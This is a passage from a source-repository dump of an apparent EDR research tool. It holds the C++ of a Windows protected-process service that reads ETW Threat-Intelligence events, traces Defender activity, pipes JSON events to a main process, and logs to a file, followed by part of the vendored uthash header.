Error: %d\", retval);\n        goto cleanup;\n    }\n\n    // Start Process (hopefully)\n    LOG_W(LOG_INFO, L\"start_child_process: Creating Process: '%s'\", childCMD);\n    if (CreateProcess(NULL,\n        childCMD,\n        NULL,\n        NULL,\n        FALSE,\n        EXTENDED_STARTUPINFO_PRESENT | CREATE_PROTECTED_PROCESS,\n        NULL,\n        NULL,\n        (LPSTARTUPINFOW)&StartupInfoEx,\n        &ProcessInformation) == FALSE)\n    {\n        retval = GetLastError();\n        if (retval == ERROR_INVALID_IMAGE_HASH) {\n            LOG_W(LOG_ERROR, L\"start_child_process: CreateProcess Error: Invalid Certificate\");\n        }\n        else {\n            LOG_W(LOG_ERROR, L\"start_child_process: CreateProcess Error: %d\", retval);\n        }\n        goto cleanup;\n    }\n\n    // Close handles immediately as we don't need to wait for the process\n    CloseHandle(ProcessInformation.hProcess);\n    CloseHandle(ProcessInformation.hThread);\n    \n    LOG_W(LOG_INFO, L\"start_child_process: Process created successfully\");\n\ncleanup:\n    // Clean up attribute list\n    if (lpAttributeList != NULL) {\n        DeleteProcThreadAttributeList(lpAttributeList);\n        HeapFree(GetProcessHeap(), 0, lpAttributeList);\n    }\n    \n    LOG_W(LOG_INFO, L\"start_child_process: finished with return code %d\", retval);\n    return retval;\n}\n"
  },
  {
    "path": "RedEdrPplService/control.h",
    "content": "#pragma once\n\nextern BOOL g_ServiceStopping;\n\nvoid StartControl();\nvoid StopControl();\n"
  },
  {
    "path": "RedEdrPplService/emitter.cpp",
    "content": "#include <Windows.h>\n\n#include \"../Shared/common.h\"\n#include \"piping.h\"\n#include \"logging.h\"\n\n\nPipeClient pipeClient(\"RedEdrPpl Emitter\");\n\n\nBOOL ConnectEmitterPipe() {\n    LOG_W(LOG_INFO, L\"Emitter: Connect pipe %s to RedEdr\", PPL_DATA_PIPE_NAME);\n    if (!pipeClient.Connect(PPL_DATA_PIPE_NAME)) {\n        LOG_W(LOG_ERROR, L\"Emitter not connect to RedEdr.exe at %s because %ld\", \n            PPL_DATA_PIPE_NAME, GetLastError());\n        return FALSE;\n    }\n    return TRUE;\n}\n\n\nvoid SendEmitterPipe(char* buffer) {\n    pipeClient.Send(buffer);\n}\n\n\nvoid DisconnectEmitterPipe() {\n    LOG_W(LOG_INFO, L\"Emitter: Disconnect pipe %s to RedEdr\", PPL_DATA_PIPE_NAME);\n    pipeClient.Disconnect();\n}\n"
  },
  {
    "path": "RedEdrPplService/emitter.h",
    "content": "#pragma once\n\n#include <Windows.h>\n\nvoid SendEmitterPipe(char* buffer);\nBOOL ConnectEmitterPipe();\nvoid DisconnectEmitterPipe();\n"
  },
  {
    "path": "RedEdrPplService/etwtihandler.cpp",
    "content": "#include <windows.h>\n#include <evntrace.h>\n#include <tdh.h>\n#include <string>\n\n#include \"etwtihandler.h\"\n#include \"logging.h\"\n#include \"emitter.h\"\n#include \"json.hpp\"\n#include \"etw_krabs.h\"\n#include \"process_resolver.h\"\n#include \"utils.h\"\n\n\n// Used for debug currently\nunsigned int events_all = 0;\nunsigned int events_processed = 0;\n\nvolatile BOOL g_DoDefenderTrace = FALSE;\nstatic std::vector<std::string> g_DefenderTraceTargetNames;\n\nvoid SetDefenderTraceConfig(BOOL enabled, const std::vector<std::string>& targetNames) {\n    g_DoDefenderTrace = enabled;\n    g_DefenderTraceTargetNames = targetNames;\n}\n\nvoid event_callback(const EVENT_RECORD& record, const krabs::trace_context& trace_context) {\n    krabs::schema schema(record, trace_context.schema_locator);\n    krabs::parser parser(schema);\n\n    // This function should be high performance, or we lose events.\n    events_all++;\n    if (events_all == 10) {\n        LOG_W(LOG_INFO, L\"Handler: Processed %u ETW-TI events so far. Seems to work. \", events_all);\n    }\n\n    // Check if we should follow this process\n    DWORD processId = record.EventHeader.ProcessId;\n\n    Process* process = g_ProcessResolver.getObject(processId);\n    if (process == NULL) {\n        LOG_A(LOG_WARNING, \"ETW: No process object for pid %lu\", processId);\n        return;\n    }\n    if (!process->observe) {\n        return;\n    }\n\n    events_processed++;\n    if (events_processed == 10) {\n        LOG_W(LOG_INFO, L\"Handler: Processed %u accepted ETW-TI events so far. Seems to work. \", events_processed);\n    }\n\n\tnlohmann::json j = KrabsEtwEventToJsonStr(record, schema);\n\tj[\"process_name\"] = process->name;\n    SendEmitterPipe((char*)j.dump().c_str());\n}\n\n\n// Handle ETW-TI events from msmpeng.exe (Windows Defender) for defender trace\nvoid event_callback_defendertrace(const EVENT_RECORD& record, const krabs::trace_context& trace_context) {\n    if (!g_DoDefenderTrace) {\n        return;\n    }\n\n    krabs::schema schema(record, trace_context.schema_locator);\n\n    // Resolve source process — must be msmpeng.exe\n    DWORD processId = record.EventHeader.ProcessId;\n    Process* process = g_ProcessResolver.getObject(processId);\n    if (process == NULL) {\n        return;\n    }\n    if (!contains_case_insensitive(process->name, \"msmpeng\")) {\n        return;\n    }\n\n    // Convert ETW to JSON\n    nlohmann::json j = KrabsEtwEventToJsonStr(record, schema);\n    j[\"process_name\"] = process->name;\n\n    // Check if destination is one of our target processes\n    if (j.contains(\"pid\") && !j[\"pid\"].is_null()) {\n        DWORD targetPid = j[\"pid\"].get<DWORD>();\n\n        Process* targetProcess = g_ProcessResolver.getObject(targetPid);\n        if (targetProcess == NULL) {\n            return;\n        }\n        if (targetProcess->observe) {\n            SendEmitterPipe((char*)j.dump().c_str());\n        }\n    }\n    // Mostly TargetProcessId, see https://blog.deeb.ch/posts/windows-telemetry/\n    else if (j.contains(\"targetprocessid\") && !j[\"targetprocessid\"].is_null()) {\n        DWORD targetPid = j[\"targetprocessid\"].get<DWORD>();\n\n        Process* targetProcess = g_ProcessResolver.getObject(targetPid);\n        if (targetProcess == NULL) {\n            return;\n        }\n        if (targetProcess->observe) {\n            SendEmitterPipe((char*)j.dump().c_str());\n        }\n    }\n    // Check if filename matches any of our target processes\n    else if (j.contains(\"filename\") && !j[\"filename\"].is_null()) {\n        std::string filename = j[\"filename\"].get<std::string>();\n        for (const auto& targetProcessName : g_DefenderTraceTargetNames) {\n            if (ends_with_case_insensitive(filename, targetProcessName)) {\n                SendEmitterPipe((char*)j.dump().c_str());\n                break;\n            }\n        }\n    }\n    // Check if name matches any of our target processes\n    else if (j.contains(\"name\") && !j[\"name\"].is_null()) {\n        std::string name = j[\"name\"].get<std::string>();\n        for (const auto& targetProcessName : g_DefenderTraceTargetNames) {\n            if (ends_with_case_insensitive(name, targetProcessName)) {\n                SendEmitterPipe((char*)j.dump().c_str());\n                break;\n            }\n        }\n    }\n}\n"
  },
  {
    "path": "RedEdrPplService/etwtihandler.h",
    "content": "#pragma once\n\n#include <evntrace.h>\n#include <vector>\n#include <string>\n\n#include <krabs.hpp>\n\nvoid event_callback(const EVENT_RECORD& record, const krabs::trace_context& trace_context);\nvoid event_callback_defendertrace(const EVENT_RECORD& record, const krabs::trace_context& trace_context);\n\nextern volatile BOOL g_DoDefenderTrace;\nvoid SetDefenderTraceConfig(BOOL enabled, const std::vector<std::string>& targetNames);"
  },
  {
    "path": "RedEdrPplService/etwtireader.cpp",
    "content": "#include <windows.h>\n#include <evntrace.h>\n#include <tdh.h>\n#include <krabs.hpp>\n\n\n#include \"etwtireader.h\"\n#include \"etwtihandler.h\"\n#include \"logging.h\"\n\nkrabs::user_trace trace_ppl(L\"RedEdrPpl\");\n\n\n// Blocking\nvoid StartEtwtiReader() {\n    // https://docs.google.com/spreadsheets/d/1d7hPRktxzYWmYtfLFaU_vMBKX2z98bci0fssTYyofdo/edit?gid=180219839#gid=180219839\n    /*\n        1\tTHREATINT_ALLOCVM_REMOTE\n        2\tTHREATINT_PROTECTVM_REMOTE\n        3\tTHREATINT_MAPVIEW_REMOTE\n        4\tTHREATINT_QUEUEUSERAPC_REMOTE\n        5\tTHREATINT_SETTHREADCONTEXT_REMOTE\n        6\tTHREATINT_ALLOCVM_LOCAL\n        7\tTHREATINT_PROTECTVM_LOCAL\n        8\tTHREATINT_MAPVIEW_LOCAL\n        11\tTHREATINT_READVM_LOCAL\n        12\tTHREATINT_WRITEVM_LOCAL\n        13\tTHREATINT_READVM_REMOTE\n        14\tTHREATINT_WRITEVM_REMOTE\n        15\tTHREATINT_SUSPEND_THREAD\n        16\tTHREATINT_RESUME_THREAD\n        17\tTHREATINT_SUSPEND_PROCESS\n        18\tTHREATINT_RESUME_PROCESS\n        19\tTHREATINT_FREEZE_PROCESS\n        20\tTHREATINT_THAW_PROCESS\n        21\tTHREATINT_ALLOCVM_REMOTE_KERNEL_CALLER\n        22\tTHREATINT_PROTECTVM_REMOTE_KERNEL_CALLER\n        23\tTHREATINT_MAPVIEW_REMOTE_KERNEL_CALLER\n        24\tTHREATINT_QUEUEUSERAPC_REMOTE_KERNEL_CALLER\n        25\tTHREATINT_SETTHREADCONTEXT_REMOTE_KERNEL_CALLER\n        26\tTHREATINT_ALLOCVM_LOCAL_KERNEL_CALLER\n        27\tTHREATINT_PROTECTVM_LOCAL_KERNEL_CALLER\n        28\tTHREATINT_MAPVIEW_LOCAL_KERNEL_CALLER\n        29\tTHREATINT_DRIVER_OBJECT_LOAD\n        30\tTHREATINT_DRIVER_OBJECT_UNLOAD\n        31\tTHREATINT_DEVICE_OBJECT_LOAD\n        32\tTHREATINT_DEVICE_OBJECT_UNLOAD\n    */\n\n    LOG_A(LOG_INFO, \"Preparing to read from ETW-TI\");\n    krabs::provider<> ti_provider(L\"Microsoft-Windows-Threat-Intelligence\");\n\n    // Test: Will this produce all events?\n    if (0) {\n        ULONG64 all_keywords = 0xFFFFFFFFFFFFFFFF;\n        ti_provider.any(all_keywords);\n        ti_provider.all(all_keywords);\n        ti_provider.level(TRACE_LEVEL_VERBOSE);\n    }\n    ti_provider.trace_flags(ti_provider.trace_flags() | EVENT_ENABLE_PROPERTY_STACK_TRACE);\n    ti_provider.add_on_event_callback(event_callback);\n    ti_provider.add_on_event_callback(event_callback_defendertrace);\n    trace_ppl.enable(ti_provider);\n\n    LOG_A(LOG_INFO, \"Start reading from ETW-TI\");\n    // Blocking, stopped with trace.stop()\n    trace_ppl.start();\n}\n\n\nvoid ShutdownEtwtiReader() {\n    LOG_A(LOG_INFO, \"Stop Reading from ETW-TI\");\n    trace_ppl.stop();\n}\n\n"
  },
  {
    "path": "RedEdrPplService/etwtireader.h",
    "content": "\nvoid StartEtwtiReader();\nvoid ShutdownEtwtiReader();\n"
  },
  {
    "path": "RedEdrPplService/logging.cpp",
    "content": "#include <iostream>\n#include <windows.h>\n\n#include <chrono>\n#include <ctime>\n#include <iomanip>\n#include <sstream>\n#include <mutex>\n\n#include \"../Shared/common.h\"\n\n\nstatic HANDLE g_logFile = INVALID_HANDLE_VALUE;\nstatic std::mutex g_logMutex;\nstatic bool g_logInitialized = false;\n\n\nstatic void InitializeFileLogging() {\n    if (g_logInitialized) return;\n\n    std::lock_guard<std::mutex> lock(g_logMutex);\n    if (g_logInitialized) return; // Double-check after acquiring lock\n\n    // Open log file for write (this will create new or truncate existing)\n    g_logFile = CreateFileA(\n        \"C:\\\\rededr\\\\pplservice.log\",\n        GENERIC_WRITE,\n        FILE_SHARE_READ,\n        NULL,\n        CREATE_ALWAYS,  // This will create new file or truncate existing\n        FILE_ATTRIBUTE_NORMAL,\n        NULL\n    );\n\n    g_logInitialized = true;\n}\n\n\nstatic void WriteToLogFile(const char* message) {\n    InitializeFileLogging();\n\n    if (g_logFile == INVALID_HANDLE_VALUE) {\n        // Fallback to debug output if file can't be opened\n        OutputDebugStringA(message);\n        return;\n    }\n\n    std::lock_guard<std::mutex> lock(g_logMutex);\n\n    // Get current timestamp\n    using namespace std::chrono;\n    auto now = system_clock::now();\n    auto in_time_t = system_clock::to_time_t(now);\n    auto ms = duration_cast<milliseconds>(now.time_since_epoch()) % 1000;\n\n    std::tm local_tm;\n    if (localtime_s(&local_tm, &in_time_t) == 0) {\n        std::ostringstream oss;\n        oss << std::put_time(&local_tm, \"%Y-%m-%d %H:%M:%S\");\n        oss << '.' << std::setfill('0') << std::setw(3) << ms.count();\n        oss << \" - \" << message << \"\\r\\n\";\n\n        std::string timestampedMessage = oss.str();\n        DWORD bytesWritten;\n        if (!WriteFile(g_logFile, timestampedMessage.c_str(), (DWORD)timestampedMessage.length(), &bytesWritten, NULL)) {\n            // If file write fails, fallback to debug output\n            OutputDebugStringA(message);\n        }\n        else {\n            FlushFileBuffers(g_logFile);\n        }\n    }\n    else {\n        // If timestamp formatting fails, still try to write the message\n        std::string simpleMessage = std::string(message) + \"\\r\\n\";\n        DWORD bytesWritten;\n        if (!WriteFile(g_logFile, simpleMessage.c_str(), (DWORD)simpleMessage.length(), &bytesWritten, NULL)) {\n            OutputDebugStringA(message);\n        }\n        else {\n            FlushFileBuffers(g_logFile);\n        }\n    }\n}\n\n\nvoid LOG_A(int verbosity, const char* format, ...)\n{\n    char message[DATA_BUFFER_SIZE] = \"[RedEdr PPL] \";\n    size_t offset = strlen(message);\n\n    va_list arg_ptr;\n    va_start(arg_ptr, format);\n    int ret = vsnprintf_s(&message[offset], DATA_BUFFER_SIZE - offset, DATA_BUFFER_SIZE - offset, format, arg_ptr);\n    va_end(arg_ptr);\n\n    WriteToLogFile(message);\n}\n\n\nvoid LOG_W(int verbosity, const wchar_t* format, ...)\n{\n    WCHAR wide_message[DATA_BUFFER_SIZE] = L\"[RedEdr PPL] \";\n    size_t offset = wcslen(wide_message);\n\n    va_list arg_ptr;\n    va_start(arg_ptr, format);\n    int ret = vswprintf(&wide_message[offset], DATA_BUFFER_SIZE - offset, format, arg_ptr);\n    va_end(arg_ptr);\n\n    // Convert wide string to UTF-8\n    char message[DATA_BUFFER_SIZE];\n    int result = WideCharToMultiByte(CP_UTF8, 0, wide_message, -1, message, sizeof(message), NULL, NULL);\n    if (result > 0) {\n        WriteToLogFile(message);\n    }\n}\n\n\nvoid CleanupFileLogging() {\n    std::lock_guard<std::mutex> lock(g_logMutex);\n    if (g_logFile != INVALID_HANDLE_VALUE) {\n        CloseHandle(g_logFile);\n        g_logFile = INVALID_HANDLE_VALUE;\n    }\n    g_logInitialized = false;\n}\n"
  },
  {
    "path": "RedEdrPplService/logging.h",
    "content": "#include \"../Shared/common.h\"\n\nvoid LOG_W(int verbosity, const wchar_t* format, ...);\nvoid LOG_A(int verbosity, const char* format, ...);\n\nstatic void InitializeFileLogging();\nvoid CleanupFileLogging();"
  },
  {
    "path": "RedEdrPplService/packages.config",
    "content": "﻿<?xml version=\"1.0\" encoding=\"utf-8\"?>\n<packages>\n  <package id=\"Microsoft.O365.Security.Krabsetw\" version=\"4.4.3\" targetFramework=\"native\" />\n</packages>"
  },
  {
    "path": "RedEdrPplService/uthash.h",
    "content": "/*\nCopyright (c) 2003-2022, Troy D. Hanson  https://troydhanson.github.io/uthash/\nAll rights reserved.\n\nRedistribution and use in source and binary forms, with or without\nmodification, are permitted provided that the following conditions are met:\n\n    * Redistributions of source code must retain the above copyright\n      notice, this list of conditions and the following disclaimer.\n\nTHIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS \"AS\nIS\" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED\nTO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A\nPARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT OWNER\nOR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL,\nEXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO,\nPROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR\nPROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF\nLIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING\nNEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS\nSOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.\n*/\n\n#ifndef UTHASH_H\n#define UTHASH_H\n\n#define UTHASH_VERSION 2.3.0\n\n#include <string.h>   /* memcmp, memset, strlen */\n#include <stddef.h>   /* ptrdiff_t */\n#include <stdlib.h>   /* exit */\n\n#if defined(HASH_DEFINE_OWN_STDINT) && HASH_DEFINE_OWN_STDINT\n/* This codepath is provided for backward compatibility, but I plan to remove it. */\n#warning \"HASH_DEFINE_OWN_STDINT is deprecated; please use HASH_NO_STDINT instead\"\ntypedef unsigned int uint32_t;\ntypedef unsigned char uint8_t;\n#elif defined(HASH_NO_STDINT) && HASH_NO_STDINT\n#else\n#include <stdint.h>   /* uint8_t, uint32_t */\n#endif\n\n/* These macros use decltype or the earlier __typeof GNU extension.\n   As decltype is only available in newer compilers (VS2010 or gcc 4.3+\n   when compiling c++ source) this code uses whatever method is needed\n   or, for VS2008 where neither is available, uses casting workarounds. */\n#if !defined(DECLTYPE) && !defined(NO_DECLTYPE)\n#if defined(_MSC_VER)   /* MS compiler */\n#if _MSC_VER >= 1600 && defined(__cplusplus)  /* VS2010 or newer in C++ mode */\n#define DECLTYPE(x) (decltype(x))\n#else                   /* VS2008 or older (or VS2010 in C mode) */\n#define NO_DECLTYPE\n#endif\n#elif defined(__MCST__)  /* Elbrus C Compiler */\n#define DECLTYPE(x) (__typeof(x))\n#elif defined(__BORLANDC__) || defined(__ICCARM__) || defined(__LCC__) || defined(__WATCOMC__)\n#define NO_DECLTYPE\n#else                   /* GNU, Sun and other compilers */\n#define DECLTYPE(x) (__typeof(x))\n#endif\n#endif\n\n#ifdef NO_DECLTYPE\n#define DECLTYPE(x)\n#define DECLTYPE_ASSIGN(dst,src)                                                 \\\ndo {                                                                             \\\n  char **_da_dst = (char**)(&(dst));                                             \\\n  *_da_dst = (char*)(src);                                                       \\\n} while (0)\n#else\n#define DECLTYPE_ASSIGN(dst,src)                                                 \\\ndo {                                                                             \\\n  (dst) = DECLTYPE(dst)(src);                                                    \\\n} while (0)\n#endif\n\n#ifndef uthash_malloc\n#define uthash_malloc(sz) malloc(sz)      /* malloc fcn                      */\n#endif\n#ifndef uthash_free\n#define uthash_free(ptr,sz) free(ptr)     /* free fcn                        */\n#endif\n#ifndef uthash_bzero\n#define uthash_bzero(a,n) memset(a,'\\0',n)\n#endif\n#ifndef uthash_strlen\n#define uthash_strlen(s) strlen(s)\n#endif\n\n#ifndef HASH_FUNCTION\n#define HASH_FUNCTION(keyptr,keylen,hashv) HASH_JEN(keyptr, keylen, hashv)\n#endif\n\n#ifndef HASH_KEYCMP\n#define HASH_KEYCMP(a,b,n) memcmp(a,b,n)\n#endif\n\n#ifndef uthash_noexpand_fyi\n#define uthash_noexpand_fyi(tbl)          /* can be defined to log noexpand  */\n#endif\n#ifndef uthash_expand_fyi\n#define uthash_expand_fyi(tbl)            /* can be defined to log expands   */\n#endif\n\n#ifndef HASH_NONFATAL_OOM\n#define HASH_NONFATAL_OOM 0\n#endif\n\n#if HASH_NONFATAL_OOM\n   /* malloc failures can be recovered from */\n\n#ifndef uthash_nonfatal_oom\n#define uthash_nonfatal_oom(obj) do {} while (0)    /* non-fatal OOM error */\n#endif\n\n#define HASH_RECORD_OOM(oomed) do { (oomed) = 1; } while (0)\n#define IF_HASH_NONFATAL_OOM(x) x\n\n#else\n   /* malloc failures result in lost memory, hash tables are unusable */\n\n#ifndef uthash_fatal\n#define uthash_fatal(msg) exit(-1)        /* fatal OOM error */\n#endif\n\n#define HASH_RECORD_OOM(oomed) uthash_fatal(\"out of memory\")\n#define IF_HASH_NONFATAL_OOM(x)\n\n#endif\n\n/* initial number of buckets */\n#define HASH_INITIAL_NUM_BUCKETS 32U     /* initial number of buckets        */\n#define HASH_INITIAL_NUM_BUCKETS_LOG2 5U /* lg2 of initial number of buckets */\n#define HASH_BKT_CAPACITY_THRESH 10U     /* expand when bucket count reaches */\n\n/* calculate the element whose hash handle address is hhp */\n#define ELMT_FROM_HH(tbl,hhp) ((void*)(((char*)(hhp)) - ((tbl)->hho)))\n/* calculate the hash handle from element address elp */\n#define HH_FROM_ELMT(tbl,elp) ((UT_hash_handle*)(void*)(((char*)(elp)) + ((tbl)->hho)))\n\n#define HASH_ROLLBACK_BKT(hh, head, itemptrhh)                                   \\\ndo {                                                                             \\\n  struct UT_hash_handle *_hd_hh_item = (itemptrhh);                              \\\n  unsigned _hd_bkt;                                                              \\\n  HASH_TO_BKT(_hd_hh_item->hashv, (head)->hh.tbl->num_buckets, _hd_bkt);         \\\n  (head)->hh.tbl->buckets[_hd_bkt].count++;                                      \\\n  _hd_hh_item->hh_next = NULL;                                                   \\\n  _hd_hh_item->hh_prev = NULL;                                                   \\\n} while (0)\n\n#define HASH_VALUE(keyptr,keylen,hashv)                                          \\\ndo {                                                                             \\\n  HASH_FUNCTION(keyptr, keylen, hashv);                                          \\\n} while (0)\n\n#define HASH_FIND_BYHASHVALUE(hh,head,keyptr,keylen,hashval,out)                 \\\ndo {                                                                             \\\n  (out) = NULL;                                                                  \\\n  if (head) {                                                                    \\\n    unsigned _hf_bkt;                                                            \\\n    HASH_TO_BKT(hashval, (head)->hh.tbl->num_buckets, _hf_bkt);                  \\\n    if (HASH_BLOOM_TEST((head)->hh.tbl, hashval)) {                              \\\n      HASH_FIND_IN_BKT((head)->hh.tbl, hh, (head)->hh.tbl->buckets[ _hf_bkt ], keyptr, keylen, hashval, out); \\\n    }                                                                            \\\n  }                                                                              \\\n} while (0)\n\n#define HASH_FIND(hh,head,keyptr,keylen,out)                                     \\\ndo {                                                                             \\\n  (out) = NULL;                                                                  \\\n  if (head) {                                                                    \\\n    unsigned _hf_hashv;                                                          \\\n    HASH_VALUE(keyptr, keylen, _hf_hashv);                                       \\\n    HASH_FIND_BYHASHVALUE(hh, head, keyptr, keylen, _hf_hashv, out);             \\\n  }                                                                              \\\n} while (0)\n\n#ifdef HASH_BLOOM\n#define HASH_BLOOM_BITLEN (1UL << HASH_BLOOM)\n#define HASH_BLOOM_BYTELEN (HASH_BLOOM_BITLEN/8UL) + (((HASH_BLOOM_BITLEN%8UL)!=0UL) ? 1UL : 0UL)\n#define HASH_BLOOM_MAKE(tbl,oomed)                                               \\\ndo {                                                                             \\\n  (tbl)->bloom_nbits = HASH_BLOOM;                                               \\\n  (tbl)->bloom_bv = (uint8_t*)uthash_malloc(HASH_BLOOM_BYTELEN);                 \\\n  if (!(tbl)->bloom_bv) {                                                        \\\n    HASH_RECORD_OOM(oomed);                                                      \\\n  } else {                                                                       \\\n    uthash_bzero((tbl)->bloom_bv, HASH_BLOOM_BYTELEN);                           \\\n    (tbl)->bloom_sig = HASH_BLOOM_SIGNATURE;                                     \\\n  }                                                                              \\\n} while (0)\n\n#define HASH_BLOOM_FREE(tbl)                                                     \\\ndo {                                                                             \\\n  uthash_free((tbl)->bloom_bv, HASH_BLOOM_BYTELEN);                              \\\n} while (0)\n\n#define HASH_BLOOM_BITSET(bv,idx) (bv[(idx)/8U] |= (1U << ((idx)%8U)))\n#define HASH_BLOOM_BITTEST(bv,idx) ((bv[(idx)/8U] & (1U << ((idx)%8U))) != 0)\n\n#define HASH_BLOOM_ADD(tbl,hashv)                                                \\\n  HASH_BLOOM_BITSET((tbl)->bloom_bv, ((hashv) & (uint32_t)((1UL << (tbl)->bloom_nbits) - 1U)))\n\n#define HASH_BLOOM_TEST(tbl,hashv)                                               \\\n  HASH_BLOOM_BITTEST((tbl)->bloom_bv, ((hashv) & (uint32_t)((1UL << (tbl)->bloom_nbits) - 1U)))\n\n#else\n#define HASH_BLOOM_MAKE(tbl,oomed)\n#define HASH_BLOOM_FREE(tbl)\n#define HASH_BLOOM_ADD(tbl,hashv)\n#define HASH_BLOOM_TEST(tbl,hashv) 1\n#define HASH_BLOOM_BYTELEN 0U\n#endif\n\n#define HASH_MAKE_TABLE(hh,head,oomed)                                           \\\ndo {                                                                             \\\n  (head)->hh.tbl = (UT_hash_table*)uthash_malloc(sizeof(UT_hash_table));         \\\n  if (!(head)->hh.tbl) {                                                         \\\n    HASH_RECORD_OOM(oomed);                                                      \\\n  } else {                                                                       \\\n    uthash_bzero((head)->hh.tbl, sizeof(UT_hash_table));                         \\\n    (head)->hh.tbl->tail = &((head)->hh);                                        \\\n    (head)->hh.tbl->num_buckets = HASH_INITIAL_NUM_BUCKETS;                      \\\n    (head)->hh.tbl->log2_num_buckets = HASH_INITIAL_NUM_BUCKETS_LOG2;            \\\n    (head)->hh.tbl->hho = (char*)(&(head)->hh) - (char*)(head);                  \\\n    (head)->hh.tbl->buckets = (UT_hash_bucket*)uthash_malloc(                    \\\n        HASH_INITIAL_NUM_BUCKETS * sizeof(struct UT_hash_bucket));               \\\n    (head)->hh.tbl->signature = HASH_SIGNATURE;                                  \\\n    if (!(head)->hh.tbl->buckets) {                                              \\\n      HASH_RECORD_OOM(oomed);                                                    \\\n      uthash_free((head)->hh.tbl, sizeof(UT_hash_table));                        \\\n    } else {                                                                     \\\n      uthash_bzero((head)->hh.tbl->buckets,                                      \\\n          HASH_INITIAL_NUM_BUCKETS * sizeof(struct UT_hash_bucket));             \\\n      HASH_BLOOM_MAKE((head)->hh.tbl, oomed);                                    \\\n      IF_HASH_NONFATAL_OOM(                                                      \\\n        if (oomed) {                                                             \\\n          uthash_free((head)->hh.tbl->buckets,                                   \\\n              HASH_INITIAL_NUM_BUCKETS*sizeof(struct UT_hash_bucket));           \\\n          uthash_free((head)->hh.tbl, sizeof(UT_hash_table));                    \\\n        }                                                                        \\\n      )                                                                          \\\n    }                                                                            \\\n  }                                                                              \\\n} while (0)\n\n#define HASH_REPLACE_BYHASHVALUE_INORDER(hh,head,fieldname,keylen_in,hashval,add,replaced,cmpfcn) \\\ndo {                                                                             \\\n  (replaced) = NULL;                                                             \\\n  HASH_FIND_BYHASHVALUE(hh, head, &((add)->fieldname), keylen_in, hashval, replaced); \\\n  if (replaced) {                                                                \\\n    HASH_DELETE(hh, head, replaced);                                             \\\n  }                                                                              \\\n  HASH_ADD_KEYPTR_BYHASHVALUE_INORDER(hh, head, &((add)->fieldname), keylen_in, hashval, add, cmpfcn); \\\n} while (0)\n\n#define HASH_REPLACE_BYHASHVALUE(hh,head,fieldname,keylen_in,hashval,add,replaced) \\\ndo {                                                                             \\\n  (replaced) = NULL;                                                             \\\n  HASH_FIND_BYHASHVALUE(hh, head, &((add)->fieldname), keylen_in, hashval, replaced); \\\n  if (replaced) {                                                                \\\n    HASH_DELETE(hh, head, replaced);                                             \\\n  }                                                                              \\\n  HASH_ADD_KEYPTR_BYHASHVALUE(hh, head, &((add)->fieldname), keylen_in, hashval, add); \\\n} while (0)\n\n#define HASH_REPLACE(hh,head,fieldname,keylen_in,add,replaced)                   \\\ndo {                                                                             \\\n  unsigned _hr_hashv;                                                            \\\n  HASH_VALUE(&((add)->fieldname), keylen_in, _hr_hashv);                         \\\n  HASH_REPLACE_BYHASHVALUE(hh, head, fieldname, keylen_in, _hr_hashv, add, replaced); \\\n} while (0)\n\n#define HASH_REPLACE_INORDER(hh,head,fieldname,keylen_in,add,replaced,cmpfcn)    \\\ndo {                                                                             \\\n  unsigned _hr_hashv;                                                            \\\n  HASH_VALUE(&((add)->fieldname), keylen_in, _hr_hashv);                         \\\n  HASH_REPLACE_BYHASHVALUE_INORDER(hh, head, fieldname, keylen_in, _hr_hashv, add, replaced, cmpfcn); \\\n} while (0)\n\n#define HASH_APPEND_LIST(hh, head, add)                                          \\\ndo {                                                                             \\\n  (add)->hh.next = NULL;                                                         \\\n  (add)->hh.prev = ELMT_FROM_HH((head)->hh.tbl, (head)->hh.tbl->tail);           \\\n  (head)->hh.tbl->tail->next = (add);                                            \\\n  (head)->hh.tbl->tail = &((add)->hh);                                           \\\n} while (0)\n\n#define HASH_AKBI_INNER_LOOP(hh,head,add,cmpfcn)                                 \\\ndo {                                                                             \\\n  do {                                                                           \\\n    if (cmpfcn(DECLTYPE(head)(_hs_iter), add) > 0) {                             \\\n      break;                                                                     \\\n    }                                                                            \\\n  } while ((_hs_iter = HH_FROM_ELMT((head)->hh.tbl, _hs_iter)->next));           \\\n} while (0)\n\n#ifdef NO_DECLTYPE\n#undef HASH_AKBI_INNER_LOOP\n#define HASH_AKBI_INNER_LOOP(hh,head,add,cmpfcn)                                 \\\ndo {                                                                             \\\n  char *_hs_saved_head = (char*)(head);                                          \\\n  do {                                                                           \\\n    DECLTYPE_ASSIGN(head, _hs_iter);                                             \\\n    if (cmpfcn(head, add) > 0) {                                                 \\\n      DECLTYPE_ASSIGN(head, _hs_saved_head);                                     \\\n      break;                                                                     \\\n    }                                                                            \\\n    DECLTYPE_ASSIGN(head, _hs_saved_head);                                       \\\n  } while ((_hs_iter = HH_FROM_ELMT((head)->hh.tbl, _hs_iter)->next));           \\\n} while (0)\n#endif\n\n#if HASH_NONFATAL_OOM\n\n#define HASH_ADD_TO_TABLE(hh,head,keyptr,keylen_in,hashval,add,oomed)            \\\ndo {                                                                             \\\n  if (!(oomed)) {                                                                \\\n    unsigned _ha_bkt;                                                            \\\n    (head)->hh.tbl->num_items++;                                                 \\\n    HASH_TO_BKT(hashval, (head)->hh.tbl->num_buckets, _ha_bkt);                  \\\n    HASH_ADD_TO_BKT((head)->hh.tbl->buckets[_ha_bkt], hh, &(add)->hh, oomed);    \\\n    if (oomed) {                                                                 \\\n      HASH_ROLLBACK_BKT(hh, head, &(add)->hh);                                   \\\n      HASH_DELETE_HH(hh, head, &(add)->hh);                                      \\\n      (add)->hh.tbl = NULL;                                                      \\\n      uthash_nonfatal_oom(add);                                                  \\\n    } else {                                                                     \\\n      HASH_BLOOM_ADD((head)->hh.tbl, hashval);                                   \\\n      HASH_EMIT_KEY(hh, head, keyptr, keylen_in);                                